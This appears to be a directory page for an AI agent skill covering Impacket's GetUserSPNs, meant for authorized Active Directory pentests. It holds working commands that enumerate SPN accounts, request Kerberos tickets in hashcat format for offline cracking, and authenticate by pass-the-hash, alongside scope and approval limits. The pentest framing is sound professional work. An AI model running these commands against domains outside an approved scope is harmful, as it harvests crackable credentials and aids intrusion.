# Impacket Getuserspns

> Use for SPN enumeration and Kerberoasting exposure review during authorized internal pentests. Trigger on service account analysis, Kerberos posture review, and validating whether SPN-bearing accounts create practical password risk.

- Skill: `timsonner/impacket-getuserspns` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/impacket-getuserspns`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/impacket-getuserspns/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/impacket-getuserspns

---


# Impacket GetUserSPNs

## Purpose

Use this skill to review SPN-bearing accounts and Kerberoasting exposure in approved AD environments.

## Phase Fit

- Primary: Vulnerability Analysis
- Secondary: Threat Modeling and Test Planning, Retest and Closure

## Use When

- Need to identify SPN-bearing accounts and assess service-account risk.
- Need to understand whether Kerberos exposure is materially relevant.
- Need a repeatable retest after service-account hardening.

## Avoid When

- The domain or credential scope is not explicit.
- Requesting ticket material would exceed the approved impact level.

## Inputs

- Approved domain and controller
- Authorized account or explicitly allowed anonymous context
- Objective such as enumeration only or controlled ticket request

## Procedure

1. Start with enumeration only.
2. Identify only the accounts that materially change risk.
3. Escalate to deeper validation only when explicitly approved.
4. Correlate the result with privilege, password policy, and business impact.
5. Preserve the exact scope for retest.

## Command Syntax

Replace sample domains and credentials with approved in-scope values.

```bash
# Enumerate accounts with SPNs (Kerberoastable)
GetUserSPNs.py contoso.com/auditor:'<password>' -dc-ip 10.10.10.10

# Request TGS tickets for offline cracking
GetUserSPNs.py contoso.com/auditor:'<password>' -dc-ip 10.10.10.10 -request -outputfile contoso-tgs.txt

# Output in Hashcat format
GetUserSPNs.py contoso.com/auditor:'<password>' -dc-ip 10.10.10.10 -request -format hashcat -outputfile contoso-tgs.hashcat

# Pass-the-Hash
GetUserSPNs.py -hashes :<NTLM_hash> contoso.com/auditor -dc-ip 10.10.10.10 -request -outputfile contoso-tgs.txt
```

## Evidence to Capture

- SPN-bearing accounts relevant to service-account risk
- Whether controlled ticket requests were approved and performed
- Domain and controller context used during the check

## Safety Boundaries

- Default to enumeration-only unless stronger validation is explicitly approved.
- Protect any returned ticket material as sensitive evidence.